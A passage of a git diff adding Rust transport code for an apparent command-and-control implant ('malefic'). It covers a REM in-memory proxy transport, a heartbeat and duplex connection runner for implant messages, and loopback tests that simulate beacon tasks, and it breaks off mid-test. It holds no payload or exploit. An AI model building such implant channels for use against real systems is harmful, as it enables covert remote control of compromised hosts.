} + } + }; + request.push((target.port >> 8) as u8); + request.push((target.port & 0x00FF) as u8); + Ok(request) +} diff --git a/malefic-crates/transport/src/rem/mod.rs b/malefic-crates/transport/src/rem/mod.rs new file mode 100644 index 0000000..f32b2a8 --- /dev/null +++ b/malefic-crates/transport/src/rem/mod.rs @@ -0,0 +1,539 @@ +use crate::DialerExt; +use anyhow::Result; +use async_trait::async_trait; +use futures::channel::mpsc; +use futures::{AsyncRead, AsyncWrite, FutureExt, Stream}; +use futures_timer::Delay; +use malefic_common::debug; +use malefic_common::spawn_blocking; +use malefic_config::{RemConfig, ServerConfig, TransportConfig, SERVER_CONFIGS}; +use malefic_rem as rem; +use std::future::Future; +use std::io; +use std::pin::Pin; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Arc; +use std::task::{Context, Poll}; +use std::time::Duration; + +/// Guard that closes the REM handle if a `spawn_blocking(MemoryWrite)` +/// is still running when the future is dropped (e.g., due to session-layer +/// write timeout). Closing the handle interrupts the blocked FFI call, +/// freeing the thread back to the pool. +struct WriteGuard { + handle: i32, + /// Set to `true` by the `spawn_blocking` closure after `memory_write` returns. + completed: Arc, + /// Shared with `REMTransport.closed` — ensures only one close happens. + transport_closed: Arc, +} + +impl Drop for WriteGuard { + fn drop(&mut self) { + if !self.completed.load(Ordering::Acquire) + && !self.transport_closed.swap(true, Ordering::AcqRel) + { + let handle = self.handle; + debug!( + "[rem] WriteGuard: closing handle {} to free blocked write thread", + handle + ); + std::thread::spawn(move || { + let _ = rem::memory_close(handle); + }); + } + } +} + +/// Async bridge for the blocking CGo REM transport. +/// +/// Architecture — **no FFI call ever touches the async executor**: +/// +/// - `poll_read`: drains a `futures::channel::mpsc` fed by a dedicated +/// read thread. The thread calls `memory_try_read(handle, buf)` in a +/// loop and forwards ready chunks through the channel. +/// - `poll_write`: `spawn_blocking(MemoryWrite)` with a `WriteGuard` +/// that closes the handle if the future is dropped before completion. +/// - `poll_close`: `spawn_blocking(MemoryClose)`. +/// - `Drop`: `std::thread::spawn(memory_close)` — never blocks executor. +/// +/// One dedicated thread per transport is created for reads. +pub struct REMTransport { + handle: i32, + /// Internal buffer for partial consumption of a read chunk. + buffer: Vec, + buffer_pos: usize, + /// Receives read data from the dedicated read thread. + read_rx: mpsc::Receiver, String>>, + /// Pending `spawn_blocking(MemoryWrite)` future with close guard. + write_future: Option> + Send>>>, + /// Pending `spawn_blocking(MemoryClose)` future. + close_future: Option> + Send>>>, + /// Shared close flag — prevents double-close between Drop and WriteGuard. + closed: Arc, +} + +impl REMTransport { + pub fn new(handle: i32, _config: &RemConfig) -> Self { + debug!("[rem] Creating new REM transport with handle: {}", handle); + + let closed = Arc::new(AtomicBool::new(false)); + let (tx, rx) = mpsc::channel(1); // Single-slot for backpressure + let read_buffer_size = 64 * 1024; // 64KB buffer for fewer reads + let read_poll_interval = Duration::from_millis(1); + + // Spawn dedicated read thread — all read FFI happens here, never on executor. + let closed_clone = closed.clone(); + std::thread::spawn(move || { + Self::read_thread( + handle, + tx, + closed_clone, + read_buffer_size, + read_poll_interval, + ); + }); + + REMTransport { + handle, + buffer: Vec::new(), + buffer_pos: 0, + read_rx: rx, + write_future: None, + close_future: None, + closed, + } + } + + /// Dedicated read thread. Calls `memory_try_read` (non-blocking) in a + /// loop. When no data is available, sleeps for `READ_THREAD_POLL_INTERVAL` + /// and retries. No timeout parameter is passed to the FFI — the only + /// timeout lives in the Rust session layer (`read_exact_with_idle_timeout`). + /// + /// Exit conditions: + /// - `closed` flag is set (by `poll_close` / `Drop`) + /// - FFI returns a real error (e.g., `MemoryClose` interrupted the conn) + /// - Channel receiver is dropped (transport dropped) + fn read_thread( + handle: i32, + mut tx: mpsc::Sender, String>>, + closed: Arc, + read_buffer_size: usize, + read_poll_interval: Duration, + ) { + let mut buf = vec![0u8; read_buffer_size.max(1)]; + loop { + if closed.load(Ordering::Acquire) { + break; + } + + match rem::memory_try_read(handle, &mut buf) { + Ok(0) => { + // EOF from underlying conn. + debug!("[rem] Read thread EOF for handle {}", handle); + break; + } + Ok(n) => { + debug!("[rem] Read thread got {} bytes for handle {}", n, handle); + let data = buf[..n].to_vec(); + // Send with backpressure: retry until channel has space or closed. + let mut retry_count = 0; + loop { + if closed.load(Ordering::Acquire) { + return; + } + match tx.try_send(Ok(data.clone())) { + Ok(()) => { + if retry_count > 0 { + debug!( + "[rem] Channel send succeeded after {} retries", + retry_count + ); + } + break; + } + Err(e) if e.is_full() => { + if retry_count == 0 { + debug!("[rem] Channel full, entering retry loop"); + } + retry_count += 1; + std::thread::sleep(read_poll_interval); + } + Err(_) => return, // disconnected + } + } + } + Err(rem::RemError::WouldBlock) => { + // No data available right now. Sleep briefly, then retry. + std::thread::sleep(read_poll_interval); + continue; + } + Err(rem::RemError::Other(e)) => { + debug!("[rem] Read thread error for handle {}: {}", handle, e); + let _ = tx.try_send(Err(e)); + break; + } + } + } + debug!("[rem] Read thread exiting for handle {}", handle); + } + + pub fn handle(&self) -> i32 { + self.handle + } + + /// Poll the pending write future, if any. + fn poll_pending_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + ) -> Poll> { + if let Some(fut) = &mut self.write_future { + match fut.as_mut().poll(cx) { + Poll::Ready(Ok(n)) => { + self.write_future = None; + Poll::Ready(Ok(n)) + } + Poll::Ready(Err(e)) => { + self.write_future = None; + Poll::Ready(Err(io::Error::new(io::ErrorKind::Other, e))) + } + Poll::Pending => Poll::Pending, + } + } else { + Poll::Ready(Ok(0)) + } + } + + /// Initiate close if not already started. + fn poll_close_impl(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + if let Some(fut) = &mut self.close_future { + return match fut.as_mut().poll(cx) { + Poll::Ready(Ok(())) => { + self.close_future = None; + self.closed.store(true, Ordering::Release); + debug!("[rem] Closed handle {}", self.handle); + Poll::Ready(Ok(())) + } + Poll::Ready(Err(e)) => { + self.close_future = None; + self.closed.store(true, Ordering::Release); + Poll::Ready(Err(io::Error::new(io::ErrorKind::Other, e))) + } + Poll::Pending => Poll::Pending, + }; + } + + if self.closed.load(Ordering::Acquire) { + return Poll::Ready(Ok(())); + } + + // Mark closed before spawning — prevents WriteGuard from racing + // and signals the read thread to exit. + self.closed.store(true, Ordering::Release); + + let handle = self.handle; + let fut = spawn_blocking(move || rem::memory_close(handle)); + let wrapped = async move { + #[cfg(feature = "tokio")] + { + // tokio: outer Result from JoinHandle + match fut.await { + Ok(result) => result, + Err(join_err) => Err(format!("Thread pool error: {}", join_err)), + } + } + #[cfg(not(feature = "tokio"))] + { + // async-std/smol: no outer Result, return directly + fut.await + } + }; + self.close_future = Some(Box::pin(wrapped)); + self.poll_close_impl(cx) + } +} + +impl AsyncRead for REMTransport { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + // 1. Drain internal buffer first. + if self.buffer.len() > self.buffer_pos { + let available = &self.buffer[self.buffer_pos..]; + let to_copy = available.len().min(buf.len()); + buf[..to_copy].copy_from_slice(&available[..to_copy]); + self.buffer_pos += to_copy; + if self.buffer_pos == self.buffer.len() { + self.buffer.clear(); + self.buffer_pos = 0; + } + return Poll::Ready(Ok(to_copy)); + } + + // 2. Poll channel for data from the dedicated read thread. + // No FFI call happens here — the executor is never blocked. + match Pin::new(&mut self.read_rx).poll_next(cx) { + Poll::Ready(Some(Ok(data))) => { + debug!("[rem] poll_read received {} bytes from channel", data.len()); + let to_copy = data.len().min(buf.len()); + buf[..to_copy].copy_from_slice(&data[..to_copy]); + if to_copy < data.len() { + self.buffer = data; + self.buffer_pos = to_copy; + } + Poll::Ready(Ok(to_copy)) + } + Poll::Ready(Some(Err(e))) => { + debug!( + "[rem] Read error from channel for handle {}: {}", + self.handle, e + ); + Poll::Ready(Err(io::Error::new(io::ErrorKind::Other, e))) + } + Poll::Ready(None) => { + // Channel closed — read thread exited. + debug!("[rem] Channel closed for handle {}", self.handle); + Poll::Ready(Ok(0)) + } + Poll::Pending => Poll::Pending, + } + } +} + +impl AsyncWrite for REMTransport { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + let had_pending = self.write_future.is_some(); + match self.as_mut().poll_pending_write(cx) { + Poll::Ready(Ok(n)) if had_pending => return Poll::Ready(Ok(n)), + Poll::Ready(Ok(_)) => {} + Poll::Ready(Err(e)) => return Poll::Ready(Err(e)), + Poll::Pending => return Poll::Pending, + } + + if buf.is_empty() { + return Poll::Ready(Ok(0)); + } + + let handle = self.handle; + let data = buf.to_vec(); + let completed = Arc::new(AtomicBool::new(false)); + let completed_inner = completed.clone(); + + let fut = spawn_blocking(move || { + let result = rem::memory_write(handle, &data); + completed_inner.store(true, Ordering::Release); + result + }); + + let guard = WriteGuard { + handle, + completed, + transport_closed: self.closed.clone(), + }; + let wrapped = async move { + let _guard = guard; // dropped when future completes or is abandoned + #[cfg(feature = "tokio")] + { + // tokio: outer Result from JoinHandle + fut.await.map_err(|e| format!("Thread pool error: {}", e))? + } + #[cfg(not(feature = "tokio"))] + { + // async-std/smol: no outer Result, return directly + fut.await + } + }; + self.write_future = Some(Box::pin(wrapped)); + self.poll_pending_write(cx) + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + match self.as_mut().poll_pending_write(cx) { + Poll::Ready(Ok(_)) => Poll::Ready(Ok(())), + Poll::Ready(Err(e)) => Poll::Ready(Err(e)), + Poll::Pending => Poll::Pending, + } + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + match self.as_mut().poll_pending_write(cx) { + Poll::Ready(Ok(_)) => {} + Poll::Ready(Err(e)) => return Poll::Ready(Err(e)), + Poll::Pending => return Poll::Pending, + } + self.poll_close_impl(cx) + } +} + +impl Drop for REMTransport { + fn drop(&mut self) { + if !self.closed.swap(true, Ordering::AcqRel) { + let handle = self.handle; + debug!("[rem] Drop: closing handle {} asynchronously", handle); + // Never block the executor — close on a dedicated thread. + // This also interrupts the read thread's blocked FFI call and + // any pending spawn_blocking(MemoryWrite) on the same handle. + std::thread::spawn(move || { + let _ = rem::memory_close(handle); + }); + } + } +} + +fn connect_timeout_for_config(config: &ServerConfig) -> Duration { + config.session_config.connect_timeout +} + +// ======================================================================== +// REMClient +// ======================================================================== + +#[derive(Clone)] +pub struct REMClient { + pub agent_id: String, + cmdline: String, + stale: bool, +} + +impl REMClient { + pub fn new() -> Result { + Self::new_with_alias(None) + } + + pub fn new_with_alias(alias: Option<&str>) -> Result { + let first_rem_config = SERVER_CONFIGS + .iter() + .find_map(|config| { + if let TransportConfig::Rem(rem_config) = &config.transport_config { + Some(rem_config) + } else { + None + } + }) + .ok_or_else(|| anyhow::anyhow!("No REM configuration found"))?; + + let mut cmdline = first_rem_config.link.clone(); + if let Some(a) = alias { + cmdline = format!("{} -a {}", cmdline, a); + } + if cfg!(debug_assertions) { + cmdline = cmdline + " --debug"; + } + debug!("[rem] REM cmdline: {}", cmdline); + + match rem::rem_dial(&cmdline) { + Ok(agent_id) => { + debug!("[rem] Successfully initialized REM, agent_id: {}", agent_id); + Ok(REMClient { + agent_id, + cmdline, + stale: false, + }) + } + Err(e) => Err(anyhow::anyhow!("REM initialization failed: {}", e)), + } + } + + fn reinitialize(&mut self) -> Result<()> { + debug!("[rem] Cleaning up dead agent..."); + rem::cleanup(); + + debug!("[rem] Reinitializing REM with cmdline: {}", self.cmdline); + match rem::rem_dial(&self.cmdline) { + Ok(agent_id) => { + debug!("[rem] REM reinitialized, new agent_id: {}", agent_id); + self.agent_id = agent_id; + self.stale = false; + Ok(()) + } + Err(e) => Err(anyhow::anyhow!("REM reinitialization failed: {}", e)), + } + } + + fn dial_with_retry(&mut self, config: &ServerConfig) -> Result { + let address = config.address.as_str(); + let rem_config = match &config.transport_config { + TransportConfig::Rem(rem_config) => rem_config, + _ => return Err(anyhow::anyhow!("REM dial requested for non-REM target")), + }; + if !self.stale { + debug!("[rem] Dialing memory address: {:?}", address); + match rem::memory_dial("memory", address) { + Ok(handle) => { + debug!("[rem] Dialed memory, handle: {}", handle); + return Ok(REMTransport::new(handle, rem_config)); + } + Err(e) => { + debug!("[rem] Memory dial failed: {}, will reinitialize...", e); + } + } + } + + match self.reinitialize() { + Ok(()) => {} + Err(e) => { + self.stale = true; + return Err(e); + } + } + + debug!("[rem] Retrying memory dial after reinit: {:?}", address); + match rem::memory_dial("memory", address) { + Ok(handle) => { + debug!("[rem] Dialed memory after reinit, handle: {}", handle); + Ok(REMTransport::new(handle, rem_config)) + } + Err(e) => { + self.stale = true; + Err(anyhow::anyhow!("Memory dial failed after reinit: {}", e)) + } + } + } +} + +#[async_trait] +impl DialerExt for REMClient { + async fn connect(&mut self, target: &crate::server_manager::Target) -> Result { + let config = target.server_config().clone(); + let connect_timeout = connect_timeout_for_config(&config); + let mut client = self.clone(); + + let dial_future = spawn_blocking(move || { + let transport = client.dial_with_retry(&config)?; + Ok::<(REMTransport, REMClient), anyhow::Error>((transport, client)) + }) + .fuse(); + + let timeout = Delay::new(connect_timeout).fuse(); + futures::pin_mut!(dial_future, timeout); + + let result: Result<(REMTransport, REMClient), anyhow::Error> = futures::select! { + r = dial_future => { + #[cfg(feature = "tokio")] + { + // tokio: outer Result from JoinHandle, inner Result from dial + r.map_err(|e| anyhow::anyhow!("spawn_blocking join error: {}", e))? + } + #[cfg(not(feature = "tokio"))] + { + // async-std/smol: r is already the inner Result (Result<(..., ...), _>) + r + } + }, + _ = timeout => Err(anyhow::anyhow!( + "connect timed out after {:?}", connect_timeout + )), + }; + + let (transport, updated_client) = result?; + self.agent_id = updated_client.agent_id; + self.stale = updated_client.stale; + Ok(transport) + } +} diff --git a/malefic-crates/transport/src/runner.rs b/malefic-crates/transport/src/runner.rs new file mode 100644 index 0000000..c4d0f1f --- /dev/null +++ b/malefic-crates/transport/src/runner.rs @@ -0,0 +1,1067 @@ +use futures::channel::mpsc; +use futures::FutureExt; +use futures::SinkExt; +use malefic_common::debug; +use malefic_proto::proto::implantpb::Spites; + +use crate::{Connection, ConnectionReader, ConnectionWriter, TransportError}; +use malefic_common::{spawn, Handle}; + +enum ConnectionMode { + Heartbeat, + Duplex { + read_rx: mpsc::UnboundedReceiver>, + read_handle: Handle, + stop_tx: Option>, + }, +} + +pub struct ConnectionRunner { + reader: Option, + writer: ConnectionWriter, + mode: ConnectionMode, +} + +impl ConnectionRunner { + pub fn new(connection: Connection) -> Self { + let (reader, writer) = connection.split(); + Self { + reader: Some(reader), + writer, + mode: ConnectionMode::Heartbeat, + } + } + + pub fn new_from_split(reader: ConnectionReader, writer: ConnectionWriter) -> Self { + Self { + reader: Some(reader), + writer, + mode: ConnectionMode::Heartbeat, + } + } + + pub fn new_duplex(connection: Connection) -> Result { + let mut runner = Self::new(connection); + runner.upgrade()?; + Ok(runner) + } + + pub async fn send(&mut self, spites: Spites) -> Result<(), TransportError> { + self.writer.send(spites).await + } + + /// Receive one frame in heartbeat mode. + /// + /// Returns `Ok(None)` on idle no-data timeout. If a partial frame times out, + /// returns `Err(TransportError::Deadline)` and the current frame is discarded. + pub async fn receive(&mut self) -> Result, TransportError> { + let reader = self + .reader + .as_mut() + .ok_or_else(|| TransportError::ConnectFailed("Reader not available".to_string()))?; + + reader.poll().await + } + + pub fn try_receive(&mut self) -> Result, TransportError> { + match &mut self.mode { + ConnectionMode::Duplex { read_rx, .. } => match read_rx.try_next() { + Ok(Some(Ok(spites))) => Ok(Some(spites)), + Ok(Some(Err(e))) => Err(e), + Ok(None) => Err(TransportError::ConnectFailed( + "Read channel closed".to_string(), + )), + Err(_) => Ok(None), + }, + ConnectionMode::Heartbeat => Err(TransportError::ConnectFailed( + "try_receive only available in Duplex mode".to_string(), + )), + } + } + + pub fn upgrade(&mut self) -> Result<(), TransportError> { + debug!("[runner] Upgrading to Duplex mode"); + let mut reader = self + .reader + .take() + .ok_or_else(|| TransportError::ConnectFailed("Reader already taken".to_string()))?; + + let (mut read_tx, read_rx) = mpsc::unbounded(); + let (stop_tx, mut stop_rx) = futures::channel::oneshot::channel::<()>(); + let read_handle = spawn(async move { + loop { + let recv = reader.poll(); + futures::pin_mut!(recv); + let mut stop = (&mut stop_rx).fuse(); + futures::select! { + result = recv.fuse() => { + match result { + Ok(Some(spites)) => { + if read_tx.send(Ok(spites)).await.is_err() { + debug!("[runner] Read channel closed, stopping"); + break; + } + } + Ok(None) => { + continue; + } + Err(e) => { + debug!("[runner] Read error: {:?}", e); + let _ = read_tx.send(Err(e)).await; + break; + } + } + } + _ = stop => { + debug!("[runner] Stop signal received"); + break; + } + } + } + debug!("[runner] Read coroutine stopped"); + reader + }); + + self.mode = ConnectionMode::Duplex { + read_rx, + read_handle, + stop_tx: Some(stop_tx), + }; + Ok(()) + } + + pub async fn downgrade(&mut self) -> Result<(), TransportError> { + debug!("[runner] Downgrading to Heartbeat mode"); + let old_mode = std::mem::replace(&mut self.mode, ConnectionMode::Heartbeat); + if let ConnectionMode::Duplex { + read_handle, + stop_tx, + .. + } = old_mode + { + if let Some(tx) = stop_tx { + let _ = tx.send(()); + } + let reader = malefic_common::join_handle(read_handle) + .await + .map_err(|e| { + TransportError::ConnectFailed(format!("Failed to join read task: {}", e)) + })?; + self.reader = Some(reader); + } + Ok(()) + } +} + +/// # Transport & Keepalive Tests +/// +/// Test design: +/// 1. Transport layer — heartbeat/duplex basic operations +/// 2. Mode switching — upgrade/downgrade with data integrity +/// 3. Keepalive scenarios — application-level protocol (beacon.rs/stub.rs) +/// 4. Performance — throughput & latency measurement +/// +/// All tests use real TCP loopback connections, no mocks. +/// Run with: `cargo test -p malefic-transport --features tokio` +#[cfg(all(test, feature = "tcp", feature = "tokio"))] +mod keepalive_tests { + use std::time::{Duration, Instant}; + + use async_net::{TcpListener, TcpStream}; + use malefic_crypto::crypto::new_cryptor; + use malefic_proto::proto::implantpb::spite::Body; + use malefic_proto::proto::modulepb; + use malefic_proto::{new_empty_spite, new_spite, Spites}; + + use crate::tcp::TCPTransport; + use crate::{ConnectionBuilder, ConnectionRunner, SessionConfig, TransportError}; + + // ==================================================================== + // Helpers + // ==================================================================== + + async fn create_tcp_pair() -> (TcpStream, TcpStream) { + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + let client = TcpStream::connect(addr).await.unwrap(); + let (server, _) = listener.accept().await.unwrap(); + (client, server) + } + + fn make_cryptor() -> malefic_crypto::crypto::Cryptor { + new_cryptor(vec![0x42; 32], vec![0xAB; 16]) + } + + fn make_config() -> SessionConfig { + SessionConfig { + read_chunk_size: 8192, + deadline: Duration::from_millis(500), + } + } + + async fn create_runner_pair() -> (ConnectionRunner, ConnectionRunner) { + let (client_stream, server_stream) = create_tcp_pair().await; + let session_id = [1, 2, 3, 4]; + + let client_conn = ConnectionBuilder::new(TCPTransport::new_plain(client_stream)) + .with_cryptor(make_cryptor()) + .with_session_id(session_id) + .with_config(make_config()) + .build() + .unwrap(); + + let server_conn = ConnectionBuilder::new(TCPTransport::new_plain(server_stream)) + .with_cryptor(make_cryptor()) + .with_session_id(session_id) + .with_config(make_config()) + .build() + .unwrap(); + + ( + ConnectionRunner::new(client_conn), + ConnectionRunner::new(server_conn), + ) + } + + fn make_spites(task_id: u32, name: &str) -> Spites { + Spites { + spites: vec![new_empty_spite(task_id, name.to_string())], + } + } + + fn make_sized_spites(task_id: u32, payload_size: usize) -> Spites { + Spites { + spites: vec![new_empty_spite(task_id, "X".repeat(payload_size))], + } + } + + fn wire_bytes(spites: &Spites) -> usize { + malefic_proto::marshal([1, 2, 3, 4], spites.clone(), None) + .unwrap() + .pack() + .len() + } + + fn make_ping(task_id: u32) -> Spites { + Spites { + spites: vec![new_spite( + task_id, + "ping".to_string(), + Body::Ping(modulepb::Ping { + nonce: task_id as i32, + }), + )], + } + } + + fn make_task_cmd(task_id: u32, name: &str) -> Spites { + Spites { + spites: vec![new_spite( + task_id, + name.to_string(), + Body::Empty(malefic_proto::proto::implantpb::Empty::default()), + )], + } + } + + fn make_keepalive_cmd(task_id: u32, enable: bool) -> Spites { + Spites { + spites: vec![new_spite( + task_id, + "keepalive".to_string(), + Body::Common(modulepb::CommonBody { + bool_array: vec![enable], + ..Default::default() + }), + )], + } + } + + /// Parse keepalive command from received Spites (mirrors stub.rs logic). + fn parse_keepalive(spites: &Spites) -> Option { + for spite in &spites.spites { + if spite.name == "keepalive" { + if let Some(Body::Common(common)) = &spite.body { + return Some(common.bool_array.first().copied().unwrap_or(false)); + } + return Some(false); + } + } + None + } + + /// Poll try_receive with timeout (for duplex mode). + async fn poll_try_receive( + runner: &mut ConnectionRunner, + timeout: Duration, + ) -> Result, crate::TransportError> { + let deadline = std::time::Instant::now() + timeout; + loop { + match runner.try_receive() { + Ok(Some(s)) => return Ok(Some(s)), + Ok(None) if std::time::Instant::now() >= deadline => return Ok(None), + Ok(None) => malefic_common::sleep(Duration::from_millis(1)).await, + Err(e) => return Err(e), + } + } + } + + // ==================================================================== + // 1. Transport layer — heartbeat & duplex basic operations + // ==================================================================== + + /// Heartbeat mode: bidirectional exchange and read timeout. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_heartbeat_exchange() { + let (mut client, mut server) = create_runner_pair().await; + + // Bidirectional send/receive + for i in 0u32..3 { + client + .send(make_spites(i, &format!("req_{}", i))) + .await + .unwrap(); + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, i); + + server + .send(make_spites(i + 100, &format!("resp_{}", i))) + .await + .unwrap(); + let r = client.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, i + 100); + } + + // Read timeout with no data → Ok(None) + let r = client.receive().await.unwrap(); + assert!(r.is_none(), "no data should return None on idle timeout"); + } + + /// Mode boundary: wrong API in wrong mode, double upgrade. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_mode_boundary_enforcement() { + let (mut client, _server) = create_runner_pair().await; + + // try_receive fails in heartbeat mode + assert!(client.try_receive().is_err()); + + // Upgrade to duplex + client.upgrade().unwrap(); + + // receive() fails in duplex mode (reader taken) + assert!(client.receive().await.is_err()); + + // Double upgrade fails + assert!(client.upgrade().is_err()); + } + + /// Duplex mode: try_receive (empty + data), send, message ordering. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_duplex_exchange() { + let (mut client, mut server) = create_runner_pair().await; + client.upgrade().unwrap(); + + // No data → Ok(None) + assert!(matches!(client.try_receive(), Ok(None))); + + // Client can still send in duplex mode + client.send(make_spites(1, "out")).await.unwrap(); + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].name, "out"); + + // Server sends multiple messages → client receives in order + for i in 0u32..5 { + server + .send(make_spites(i, &format!("msg_{}", i))) + .await + .unwrap(); + } + tokio::time::sleep(Duration::from_millis(100)).await; + for i in 0u32..5 { + let r = client.try_receive().unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, i); + } + } + + /// Idle duplex periods should not kill the background task. Data arriving + /// later must still be delivered. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_duplex_survives_idle_timeout() { + let (mut client, mut server) = create_runner_pair().await; + client.upgrade().unwrap(); + + // Idle 3x session deadline (1500ms > 500ms) — task must survive. + tokio::time::sleep(Duration::from_millis(1500)).await; + assert!( + matches!(client.try_receive(), Ok(None)), + "idle duplex should stay alive across multiple idle timeouts" + ); + + // Data sent after idle period should still arrive. + server.send(make_spites(1, "late")).await.unwrap(); + tokio::time::sleep(Duration::from_millis(100)).await; + let r = client.try_receive().unwrap().unwrap(); + assert_eq!(r.spites[0].name, "late"); + } + + /// Heartbeat receive timeout with partial frame (1 byte received then blocked). + /// Verifies timeout completes correctly even when frame is incomplete. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_heartbeat_timeout_partial_frame() { + use async_net::{TcpListener, TcpStream}; + use futures::AsyncWriteExt; + + // Listen on random port + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + + // Accept connection but only send 1 byte then stall forever + tokio::spawn(async move { + let (mut stream, _) = listener.accept().await.unwrap(); + // Send only 1 byte — not enough for a full header (header needs 10 bytes) + stream.write_all(&[0x42]).await.unwrap(); + // Flush and stall — never close, never send more + stream.flush().await.unwrap(); + futures::future::pending::<()>().await; + }); + + // Connect client + let stream = TcpStream::connect(addr).await.unwrap(); + let session_id = [1, 2, 3, 4]; + let conn = ConnectionBuilder::new(TCPTransport::new_plain(stream)) + .with_cryptor(make_cryptor()) + .with_session_id(session_id) + .with_config(SessionConfig { + read_chunk_size: 8192, + deadline: Duration::from_millis(500), // short deadline for test + }) + .build() + .unwrap(); + let mut client = ConnectionRunner::new(conn); + + // receive() should return Err(Deadline) within ~500ms, not hang forever + let start = Instant::now(); + let r = client.receive().await; + let elapsed = start.elapsed(); + + assert!(matches!(r, Err(TransportError::Deadline))); + assert!( + elapsed < Duration::from_millis(1500), + "timeout should fire reasonably quickly" + ); + } + + /// Exchange deadline when server never responds. + /// Verifies the connection-level deadline bounds the initial request/response round trip. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_exchange_deadline_no_response() { + use async_net::{TcpListener, TcpStream}; + + // Listen but never send any response after accept + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + + tokio::spawn(async move { + let (_stream, _) = listener.accept().await.unwrap(); + // Just accept, never send anything + futures::future::pending::<()>().await; + }); + + // Connect and do an exchange + let stream = TcpStream::connect(addr).await.unwrap(); + let session_id = [1, 2, 3, 4]; + let conn = ConnectionBuilder::new(TCPTransport::new_plain(stream)) + .with_cryptor(make_cryptor()) + .with_session_id(session_id) + .with_config(SessionConfig { + read_chunk_size: 8192, + deadline: Duration::from_millis(500), + }) + .build() + .unwrap(); + + let start = Instant::now(); + let r = conn.exchange(make_spites(1, "hello")).await; + let elapsed = start.elapsed(); + + // Should get Deadline error within ~500ms + assert!(matches!(r, Err(crate::TransportError::Deadline))); + assert!(elapsed < Duration::from_millis(1500)); + } + + /// Send-only register path should not require any response from the server. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_send_only_does_not_require_response() { + use async_net::{TcpListener, TcpStream}; + + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + + tokio::spawn(async move { + let (_stream, _) = listener.accept().await.unwrap(); + futures::future::pending::<()>().await; + }); + + let stream = TcpStream::connect(addr).await.unwrap(); + let session_id = [1, 2, 3, 4]; + let conn = ConnectionBuilder::new(TCPTransport::new_plain(stream)) + .with_cryptor(make_cryptor()) + .with_session_id(session_id) + .with_config(SessionConfig { + read_chunk_size: 8192, + deadline: Duration::from_millis(500), + }) + .build() + .unwrap(); + + let start = Instant::now(); + let r = conn.send_only(make_spites(1, "register")).await; + let elapsed = start.elapsed(); + + assert!( + r.is_ok(), + "send-only register should succeed without response" + ); + assert!( + elapsed < Duration::from_millis(500), + "send-only register should not wait for a response" + ); + } + + // ==================================================================== + // 2. Mode switching — upgrade/downgrade with data integrity + // ==================================================================== + + /// Full heartbeat → duplex → heartbeat cycle. + /// Verifies data integrity and AES-CTR counter sync across transitions. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_upgrade_downgrade_data_integrity() { + let (mut client, mut server) = create_runner_pair().await; + + // Phase 1: Heartbeat + client.send(make_spites(1, "hb1")).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].name, + "hb1" + ); + server.send(make_spites(2, "hb1_r")).await.unwrap(); + assert_eq!( + client.receive().await.unwrap().unwrap().spites[0].name, + "hb1_r" + ); + + // Phase 2: Duplex — bidirectional + client.upgrade().unwrap(); + client.send(make_spites(3, "dup_out")).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].name, + "dup_out" + ); + server.send(make_spites(4, "dup_in")).await.unwrap(); + tokio::time::sleep(Duration::from_millis(50)).await; + assert_eq!( + client.try_receive().unwrap().unwrap().spites[0].name, + "dup_in" + ); + + // Phase 3: Back to heartbeat — cryptor still in sync + client.downgrade().await.unwrap(); + client.send(make_spites(5, "hb2")).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].name, + "hb2" + ); + server.send(make_spites(6, "hb2_r")).await.unwrap(); + assert_eq!( + client.receive().await.unwrap().unwrap().spites[0].name, + "hb2_r" + ); + } + + // ==================================================================== + // 3. Keepalive scenarios — application-level protocol + // ==================================================================== + + /// Non-keepalive: pure heartbeat loop, server never sends KeepAlive cmd. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_scenario_heartbeat_only() { + let (mut client, mut server) = create_runner_pair().await; + let mut keepalive_enabled = false; + + // Simulate beacon.rs heartbeat loop with task responses + let tasks = ["ls", "pwd", "whoami"]; + for (i, task) in tasks.iter().enumerate() { + let tid = i as u32; + client.send(make_ping(tid)).await.unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + server.send(make_task_cmd(tid, task)).await.unwrap(); + + let resp = client.receive().await.unwrap().unwrap(); + assert_eq!(resp.spites[0].name, *task); + if let Some(en) = parse_keepalive(&resp) { + keepalive_enabled = en; + } + } + + assert!(!keepalive_enabled, "should never enter keepalive"); + assert!( + client.try_receive().is_err(), + "should stay in heartbeat mode" + ); + } + + /// Full keepalive lifecycle (mirrors beacon.rs + stub.rs): + /// heartbeat → KeepAlive(true) → upgrade → duplex exchange + /// → KeepAlive(false) → downgrade → resume heartbeat + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_scenario_keepalive_lifecycle() { + let (mut 